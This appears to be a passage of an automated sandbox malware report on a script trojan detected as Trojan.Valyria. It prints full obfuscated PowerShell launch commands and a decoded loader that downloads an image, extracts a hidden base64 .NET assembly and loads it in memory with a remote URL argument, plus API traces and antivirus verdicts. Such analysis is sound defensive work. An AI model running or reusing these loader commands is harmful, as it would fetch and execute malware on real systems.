QSeUZQB0vAbfwTjZQSeUGgvAbfwTjZQSeUbwBkvAbfwTjZQSeUCgvAbfwTjZQSeUJwBWvAbfwTjZQSeUEEvAbfwTjZQSeUSQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeULgBJvAbfwTjZQSeUG4vAbfwTjZQSeUdgBvvAbfwTjZQSeUGsvAbfwTjZQSeUZQvAbfwTjZQSeUovAbfwTjZQSeUCQvAbfwTjZQSeUbgB1vAbfwTjZQSeUGwvAbfwTjZQSeUbvAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUWwBvvAbfwTjZQSeUGIvAbfwTjZQSeUagBlvAbfwTjZQSeUGMvAbfwTjZQSeUdvAbfwTjZQSeUBbvAbfwTjZQSeUF0vAbfwTjZQSeUXQvAbfwTjZQSeUgvAbfwTjZQSeUCgvAbfwTjZQSeUJwBkvAbfwTjZQSeUEgvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeUwvAbfwTjZQSeUEwvAbfwTjZQSeUbQBkvAbfwTjZQSeUHYvAbfwTjZQSeUWgBXvAbfwTjZQSeUFYvAbfwTjZQSeUbgBivAbfwTjZQSeUG0vAbfwTjZQSeUcwB2vAbfwTjZQSeUE0vAbfwTjZQSeUVvAbfwTjZQSeUBVvAbfwTjZQSeUHUvAbfwTjZQSeUTQB6vAbfwTjZQSeUE0vAbfwTjZQSeUdQBNvAbfwTjZQSeUGovAbfwTjZQSeUUQB1vAbfwTjZQSeUE0vAbfwTjZQSeUegBrvAbfwTjZQSeUHgvAbfwTjZQSeUTvAbfwTjZQSeUB5vAbfwTjZQSeUDgvAbfwTjZQSeUNgBjvAbfwTjZQSeUEgvAbfwTjZQSeUUgvAbfwTjZQSeUwvAbfwTjZQSeUGEvAbfwTjZQSeUQQvAbfwTjZQSeU9vAbfwTjZQSeUD0vAbfwTjZQSeUJwvAbfwTjZQSeUgvAbfwTjZQSeUCwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUGQvAbfwTjZQSeUZgBkvAbfwTjZQSeUGYvAbfwTjZQSeUZvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBmvAbfwTjZQSeUGQvAbfwTjZQSeUZgvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBmvAbfwTjZQSeUGQvAbfwTjZQSeUZgvAbfwTjZQSeUnvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeULvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCcvAbfwTjZQSeUZvAbfwTjZQSeUBhvAbfwTjZQSeUGQvAbfwTjZQSeUcwBhvAbfwTjZQSeUCcvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUsvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJwBkvAbfwTjZQSeUGUvAbfwTjZQSeUJwvAbfwTjZQSeUgvAbfwTjZQSeUCwvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUnvAbfwTjZQSeUGMvAbfwTjZQSeUdQvAbfwTjZQSeUnvAbfwTjZQSeUCkvAbfwTjZQSeUKQvAbfwTjZQSeU=';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000468
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -command "$Codigo = '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ZQSeUGEvAbfwTjZQSeUbgBkvAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUGcvAbfwTjZQSeUdvAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEkvAbfwTjZQSeUbgBkvAbfwTjZQSeUGUvAbfwTjZQSeUevAbfwTjZQSeUvAbfwTjZQSeUgvAbfwTjZQSeUCsvAbfwTjZQSeUPQvAbfwTjZQSeUgvAbfwTjZQSeUCQvAbfwTjZQSeUcwB0vAbfwTjZQSeUGEvAbfwTjZQSeUcgB0vAbfwTjZQSeUEYvAbfwTjZQSeUbvAbfwTjZQSeUBhvAbfwTjZQSeUGcvAbfwTjZQSeULgBMvAbfwTjZQSeUGUvAbfwTjZQSeUbgBnvAbfwTjZQSeUHQvAbfwTjZQSeUavAbfwTjZQSeUvAbfwTjZQSeU7vAbfwTjZQSeUCQvAbfwTjZQSeUYgBhvAbfwTjZQSeUHMvAbfwTjZQSeUZQvAbfwTjZQSeU2vAbfwTjZQSeUDQvAbfwTjZQSeUTvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZwB0vAbfwTjZQSeUGgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeU9vAbfwTjZQSeUCvAbfwTjZQSeUvAbfwTjZQSeUJvAbfwTjZQSeUBlvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBJvAbfwTjZQSeUG4vAbfwTjZQSeUZvAbfwTjZQSeUBlvAbfwTjZQSeUHgvAbfwTjZQSeUIvAbfwTjZQSeUvAbfwTjZQSeUtvAbfwTjZQSeUCvAbfwTjZ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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('vAbfwTjZQSeU','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2772
thread_handle: 0x00000448
process_identifier: 2768
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://wallpapercave.com/uwp/uwp4082989.png';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LmdvZWVnbmsvMTUuMzMuMjQuMzkxLy86cHR0aA==' , 'dfdfd' , 'dfdf' , 'dfdf' , 'dadsa' , 'de' , 'cu'))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x0000044c
1 1 0
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received 
Data received F
Data sent tpe5ò¤]ç·2šV·tg ŒÃµ€à•È‚¶P>â/5 ÀÀÀ À 28/ÿwallpapercave.com  
Data sent tpe5ò¤¸µ a/ìê¥#ÍÏý• EsVš m´3Önå v/5 ÀÀÀ À 28/ÿwallpapercave.com  
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
FireEye VB:Trojan.Valyria.8583
Arcabit VB:Trojan.Valyria.D2185
Symantec Scr.Malscript!gen11
ESET-NOD32 VBS/Kryptik.UA
Avast Script:SNH-gen [Drp]
Kaspersky HEUR:Trojan.Script.Generic
BitDefender VB:Trojan.Valyria.8583
MicroWorld-eScan VB:Trojan.Valyria.8583
Emsisoft VB:Trojan.Valyria.8583 (B)
DrWeb Trojan.DownLoader46.25677
VIPRE VB:Trojan.Valyria.8581
Ikarus Win32.Outbreak
GData VB:Trojan.Valyria.8583
ALYac VB:Trojan.Valyria.8581
MAX malware (ai score=81)
AVG Script:SNH-gen [Drp]
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
Time & API Arguments Status Return Repeated

send

 buffer: tpe5ò¤]ç·2šV·tg ŒÃµ€à•È‚¶P>â/5 ÀÀÀ À 28/ÿwallpapercave.com  
socket: 1440
sent: 121
1 121 0

send

 buffer: tpe5ò¤¸µ a/ìê¥#ÍÏý• EsVš m´3Önå v/5 ÀÀÀ À 28/ÿwallpapercave.com  
socket: 1440
sent: 121
1 121 0
